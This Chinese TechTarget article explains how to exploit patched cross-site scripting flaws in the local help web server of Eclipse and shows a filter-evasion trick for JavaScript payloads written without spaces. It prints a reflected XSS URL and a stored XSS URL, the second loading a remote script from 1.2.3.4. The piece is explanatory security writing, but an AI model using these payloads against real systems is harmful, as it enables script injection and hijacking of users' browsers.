Eclipse是一个开放源代码的、基于 Java 的可扩展开发平台,目前该平台在世界范围内得到了广泛的应用。本文将介绍对于Eclipse本地Web服务器一个跨站脚本漏洞的利用方法。更重要的是,我们将学习一种处理有效荷载中的空格符的高级技巧。
一、Eclipse简介
Eclipse 是一个开放源代码的、基于 Java 的可扩展开发平台。就其本身而言,它只是一个框架和一组服务,用于通过插件组件构建开发环境。幸运的是,Eclipse 附带了一个标准的插件集,包括 Java 开发工具。虽然大多数用户很乐于将 Eclipse 当作 Java IDE 来使用,但 Eclipse 的目标不仅限于此。Eclipse 还包括插件开发环境(Plug-in Development Environment,PDE),这个组件主要针对希望扩展 Eclipse 的软件开发人员,因为它允许他们构建与 Eclipse 环境无缝集成的工具。由于 Eclipse 中的每样东西都是插件,对于给 Eclipse 提供插件,以及给用户提供一致和统一的集成开发环境而言,所有工具开发人员都具有同等的发挥场所。
这种平等和一致性并不仅限于 Java 开发工具。尽管 Eclipse 是使用 Java 语言开发的,但它的用途并不限于 Java 语言;例如,支持诸如 C/C++、COBOL 和 Eiffel 等编程语言的插件已经可用,或预计会推出。Eclipse 框架还可用来作为与软件开发无关的其他应用程序类型的基础,比如内容管理系统。
基于 Eclipse 的应用程序的突出例子是 IBM 的 WebSphere Studio Workbench,它构成了 IBM Java 开发工具系列的基础。例如,WebSphere Studio Application Developer 添加了对 JSP、servlet、EJB、XML、Web 服务和数据库访问的支持。
二、Eclipse的跨站脚本利用
由于Eclipse得到了广泛的应用,所以它的漏洞会对许多用户造成影响,不过目前本文所讨论的安全漏洞已经有补丁可用,所以下面就尽情讨论吧。之前,Eclipse的帮助系统曾经发现过XSS安全漏洞,很明显,所有基于Eclipse的产品同样也有此漏洞,下面介绍新近发现的一个漏洞。
该漏洞的本质就是本地运行的Web服务器存在XSS问题。 如果用户正在运行IE的话,他们就有可能受到该问题的困扰。
当你单击“Help”菜单的“Help Contents”菜单项的时候,系统将在本地计算机上启动一个Web服务器。经进一步调查发现,这个服务器是Apache Coyote 1.1。乍看起来该Web服务器是从一个伪随机端口启动的,但是实际上有些端口号用的更频繁一些。当然,用于端口号的随机数生成算法不在本文的讨论范围之内,如果您感兴趣的话,可以自己研究一下。
好了,我们的目标只有一个,那就是拿下Eclipse。下面是Eclipse的帮助系统存在反射式XSS漏洞的地址:
http://localhost:port/help/advanced/searchView.jsp?searchWord=a”);}alert(‘xss’);>
把上述地址输入浏览器的地址栏,将会看到下面那亲切的画面:
图1 弹出的警示框
下面是存在持久性XSS漏洞的地址:
http://localhost:port/help/advanced/workingSetManager.jsp?operation=add&workingSet=
‘%3E%3Cscript%20src%3D’http%3A%2F%2F1.2.3.4%2Fa.js’%3E%3C%2Fscript%3E&hrefs=%2Fcom.adobe.flexbuilder.help.api%2Ftoc.xml&oldName=
当我们在Eclipse上试验反射式XSS攻击时,必须面对这样一个问题,即Eclipse没有把%20和空格符实现自动转换,所以我们要设法避开这个问题,不过这并不太难。那么,怎样写一个没有空格符的JavaScript有效载荷呢?实际上,这很简单。下图是用于有效载荷的示例代码:
图2 有效荷载示例代码
首先,关键字“var”不是必需的。我们在JavaScript 中可以进行隐式变量声明,所以完全可以将这些关键字去掉,这样变量名和关键字之间也就无所谓空格问题了。但是其他内容呢?别急,接下来我要做的是,去除所有不需要的空格符,并变成下面的样子:
呵呵,上面的代码看起来紧凑多了,但是仍然存在空格符。所以下面要做的是,把所有东西弄成一个字符串,并把空格符替换成“..”,注意不带双引号。
图4 把有效荷载变成单个字符串
注意,由于我们使用“..”字符替代了空格符,所以无法使用eval函数将这个字符串当作一个JavaScript表达式一样去执行它,相反,我们需要使用replace函数。
图5 把有效荷载变成单个字符串
现在,我们得到了如下所示的XSS攻击字符串:
图6 把有效荷载变成单个字符串
好了,把上述代码输入IE浏览器的地址栏,将看到如下所示的画面:
图7 攻击成功
三、小结
Eclipse是一个开放源代码的、基于 Java 的可扩展开发平台,目前该平台在世界范围内得到了广泛的应用。本文介绍了对于Eclipse本地Web服务器一个跨站脚本漏洞的利用方法。与此同时,我们还介绍了一种处理有效荷载中的空格符号的高级技巧。
我们一直都在努力坚持原创.......请不要一声不吭,就悄悄拿走。
我原创,你原创,我们的内容世界才会更加精彩!
【所有原创内容版权均属TechTarget,欢迎大家转发分享。但未经授权,严禁任何媒体(平面媒体、网络媒体、自媒体等)以及微信公众号复制、转载、摘编或以其他方式进行使用。】
微信公众号
TechTarget
官方微博
TechTarget中国
作者
相关推荐
-
黑客发现,跨站脚本仍是最大漏洞
据HackerOne称,跨站脚本(XSS)漏洞仍然是最常被利用的漏洞。Hackerone是旨在联系企业和白帽黑 […]
-
Netgear推beta版补丁,修复路由器中重大安全漏洞
近日,Netgear推出补丁以修复路由器中重大安全漏洞,此前,专家建议用户完全放弃使用Netgear路由器。该漏洞出现在某些Netgear路由器部署web服务器时,它允许未经验证用户注入root权限命令,本质上接管设备并可执行任意代码。
-
流行漏洞利用工具包瞄准Flash、Java和IE
最近Digital Shadows对近期流行的漏洞利用工具包进行了研究,研究发现,恶意攻击者利用这些工具包来发现很多相同程序和漏洞。
-
提升WEB应用程序安全需要打“组合拳”(一)
在WEB应用程序安全问题上保持前瞻性和主动性应当成为IT的头等大事。如果WEB应用程序遭受破坏,企业往往会遭受极大损失。